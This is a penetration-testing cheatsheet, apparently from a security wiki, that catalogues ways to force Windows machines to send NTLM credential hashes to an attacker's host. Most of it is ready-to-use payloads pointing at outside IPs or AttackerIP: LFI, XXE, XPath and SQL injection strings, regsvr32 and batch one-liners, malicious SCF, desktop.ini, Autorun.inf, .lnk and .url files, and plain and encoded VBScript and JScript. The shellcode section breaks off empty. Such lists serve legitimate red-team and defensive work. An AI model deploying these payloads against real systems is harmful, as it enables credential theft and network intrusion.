### [All\_NTLM-Leak](https://github.com/Gl3bGl4z/All\_NTLM\_leak)

> Cheatsheet

This is a list of techniques to force NTLM authentications to steal credentials from the victim.

### Force NTLM Privileged Authentication

You may be able to **force a windows machine to authenticate to an arbitrary machine** using a privileged account. Read the following page to learn more:

{% content-ref url="../active-directory-methodology/printers-spooler-service-abuse.md" %}

{% endcontent-ref %}

## LFI

The include() in PHP will resolve the network path for us.

```
http://host.tld/?page=//11.22.33.44/@OsandaMalith
```

![](<../../.gitbook/assets/image (642).png>)

## XXE

In here I’m using “php://filter/convert.base64-encode/resource=” that will resolve a network path.

```markup
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=//11.22.33.44/@OsandaMalith" >
]>
<root>
  <name></name>
  <tel></tel>
  <email>OUT&xxe;OUT</email>
  <password></password>
</root>
```

![](<../../.gitbook/assets/image (618).png>)

## XPath Injection

Usually, doc() is used in out-of-band XPath injections, thus can be applied in resolving a network path.

```
http://host.tld/?title=Foundation&type=*&rent_days=* and doc('//35.164.153.224/@OsandaMalith')
```

![](<../../.gitbook/assets/image (638) (2).png>)

## MySQL Injection

I have written a complete [post ](https://osandamalith.com/2017/02/03/mysql-out-of-band-hacking/)on MySQL out-of-band injections which can be applied over the internet. You can also use ‘INTO OUTFILE’ to resolve a network path.

```
http://host.tld/index.php?id=1’ union select 1,2,load_file(‘\\\\192.168.0.100\\@OsandaMalith’),4;%00
```

![](<../../.gitbook/assets/image (663).png>)

## MSSQL

Since stacked queries are supported we can call stored procedures.

```
';declare @q varchar(99);set @q='\\192.168.254.52\test'; exec master.dbo.xp_dirtree @q
```

## Regsvr32

Accidently found this one while experimenting with .sct files.

```
regsvr32 /s /u /i://35.164.153.224/@OsandaMalith scrobj.dll
```

## Batch

There are many possible ways you can explore

```
echo 1 > //192.168.0.1/abc
pushd \\192.168.0.1\abc
cmd /k \\192.168.0.1\abc
cmd /c \\192.168.0.1\abc
start \\192.168.0.1\abc
mkdir \\192.168.0.1\abc
type\\192.168.0.1\abc
dir\\192.168.0.1\abc
find, findstr, [x]copy, move, replace, del, rename and many more!
```

## Auto-Complete

You just need to type ‘\host\’ the auto-complete will do the trick under the explorer and the run dialog box.

## Autorun.inf

Starting from Windows 7 this feature is disabled. However you can enable by changing the group policy for Autorun. Make sure to hide the Autorun.inf file to work.

```
[autorun]
open=\\35.164.153.224\setup.exe
icon=something.ico
action=open Setup.exe
```

## Shell Command Files

It is possible to obtain passwords hashes of domain users or shells when writing permissions given to unauthenticated users. SCF (Shell Command Files) can perform a limited set of operations like showing the Windows desktop or opening a Windows Explorer. Save the code below as `ordinary.scf` and put it into a network share.

```
[Shell]
Command=2
IconFile=\\AttackerIP\ordinary.ico
[Taskbar]
Command=ToggleDesktop
```

## Desktop.ini

The desktop.ini files contain the information of the icons you have applied to the folder. We can abuse this to resolve a network path. Once you open the folder you should get the hashes.

```
mkdir openMe
attrib +s openMe
cd openMe
echo [.ShellClassInfo] > desktop.ini
echo IconResource=\\192.168.0.1\aa >> desktop.ini
attrib +s +h desktop.ini
```

In Windows XP systems the desktop.ini file uses ‘IcondFile’ instead of ‘IconResource’.

```
[.ShellClassInfo]
IconFile=\\192.168.0.1\aa
IconIndex=1337
```

## Shortcut Files (.lnk)

We can create a shortcut containing our network path and as you as you open the shortcut Windows will try to resolve the network path. You can also specify a keyboard shortcut to trigger the shortcut. For the icon you can give the name of a Windows binary or choose an icon from either shell32.dll, Ieframe.dll, imageres.dll, pnidui.dll or wmploc.dll located in the system32 directory.

```powershell
Set shl = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
currentFolder = shl.CurrentDirectory

Set sc = shl.CreateShortcut(fso.BuildPath(currentFolder, "\StealMyHashes.lnk"))

sc.TargetPath = "\\35.164.153.224\@OsandaMalith"
sc.WindowStyle = 1
sc.HotKey = "Ctrl+Alt+O"
sc.IconLocation = "%windir%\system32\shell32.dll, 3"
sc.Description = "I will Steal your Hashes"
sc.Save
```

The Powershell version.

```powershell
#TargetPath attack
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("StealMyHashes.lnk")
$lnk.TargetPath = "\\35.164.153.224\@OsandaMalith"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "I will Steal your Hashes"
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()

#IconLocation Attack
$wsh = new-object -ComObject wscript.shell
$shortcut = $wsh.CreateShortcut("\\dc\software\test.lnk")
$shortcut.IconLocation = "\\10.10.10.10\test.ico"
$shortcut.Save()
```

## Internet Shortcuts (.url)

Another shortcut in Windows is the Internet shortcuts. You can save this as something.url

```bash
echo [InternetShortcut] > stealMyHashes.url 
echo URL=file://192.168.0.1/@OsandaMalith >> stealMyHashes.url
```

## Autorun with Registry

You can add a new registry key in any of the following paths.

```
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
```

![](<../../.gitbook/assets/image (307) (5).png>)

## Powershell

There are probably many scriptlets in Powershell that would resolve a network path.

```
Invoke-Item \\192.168.0.1\aa
Get-Content \\192.168.0.1\aa
Start-Process \\192.168.0.1\aa
```

## IE

IE will resolve UNC paths. For example

```html
<img src="\\\\192.168.0.1\\aa">
```

You can inject under XSS or in scenarios you find SQL injection. For example.

```
http://host.tld/?id=-1' union select 1,'<img src="\\\\192.168.0.1\\aa">';%00
```

## VBScript

You can save this as .vbs or can be used inside a macro that is applied to Word or Excel files.

```bash
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile("//192.168.0.100/aa", 1)
```

You can apply in web pages but this works only with IE.

```markup
<html>
<script type="text/Vbscript">
<!--
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile("//192.168.0.100/aa", 1)
//-->
</script>
</html>
```

Here’ the encoded version. You can encode and save this as something.vbe

```
#@~^ZQAAAA==jY~6?}'ZM2mO2}4%+1YcEUmDb2YbxocorV?H/O+h6(LnmDE#=?nO,sksn{0dWcGa+U:+XYsbVcJJzf*cF*cF*2  yczmCE~8#XSAAAA==^#~@
```

You can apply this in html files too. But only works with IE. You can save this as something.hta which will be an HTML Application under windows, which mshta.exe will execute it. By default it uses IE.

```
<html>
<script type="text/Vbscript.Encode">
<!--
#@~^ZQAAAA==jY~6?}'ZM2mO2}4%+1YcEUmDb2YbxocorV?H/O+h6(LnmDE#=?nO,sksn{0dWcGa+U:+XYsbVcJJzf*cF*cF*2  yczmCE~8#XSAAAA==^#~@
//-->
</script>
</html>
```

## JScript

You can save this as something.js under windows.

```javascript
var fso = new ActiveXObject("Scripting.FileSystemObject")
fso.FileExists("//192.168.0.103/aa")
```

You can apply the same in html files but only works with IE. Also you can save this as something.hta.

```markup
<html>
<script type="text/Jscript">
<!--
var fso = new ActiveXObject("Scripting.FileSystemObject")
fso.FileExists("//192.168.0.103/aa")
//-->
</script>
</html>
```

Here’s the encoded version. You can save this as something.jse.

```
#@~^XAAAAA==-mD~6/K'xh,)mDk-+or8%mYvE?1DkaOrxTRwks+jzkYn:}8LmOE*i0dGcsrV3XkdD/vJzJFO+R8v0RZRqT2zlmE#Ux4AAA==^#~@
```

The html version of this.

```markup
<html>
<script type="text/Jscript.Encode">
<!--
#@~^XAAAAA==-mD~6/K'xh,)mDk-+or8%mYvE?1DkaOrxTRwks+jzkYn:}8LmOE*i0dGcsrV3XkdD/vJzJFO+R8v0RZRqT2zlmE#Ux4AAA==^#~@
//-->
</script>
</html>
```

## Windows Script Files

Save this as something.wsf.

```markup
<package>
  <job id="boom">
    <script language="VBScript">
       Set fso = CreateObject("Scripting.FileSystemObject")
       Set file = fso.OpenTextFile("//192.168.0.100/aa", 1)
    </script>
   </job>
</package>
```

## Shellcode

Here’s a small shellcode I made. This shellcode uses CreateFile and tries to read a non-existing network path. You can use tools such as Responder to capture NetNTLM hashes. The shellcode can be modified to steal hashes over the internet. SMBRelay attacks can also be performed.

```cpp

## Shellcode Inside VBS and JS

subTee has done many kinds of research with JS and DynamicWrapperX. You can find a POC using the DynamicWrapperX DLL.\
[http://subt0x10.blogspot.com/2016/09/shellcode-via-jscript-vbscript.html](http://subt0x10.blogspot.com/2016/09/shellcode-via-jscript-vbscript.html)\
Based on that I have ported the shellcode to JS and VBS. The fun part is we can embed shellcode in JScript or VBScript inside html and .hta formats.\
Note the following shellcode directs to my IP.

#### JScript
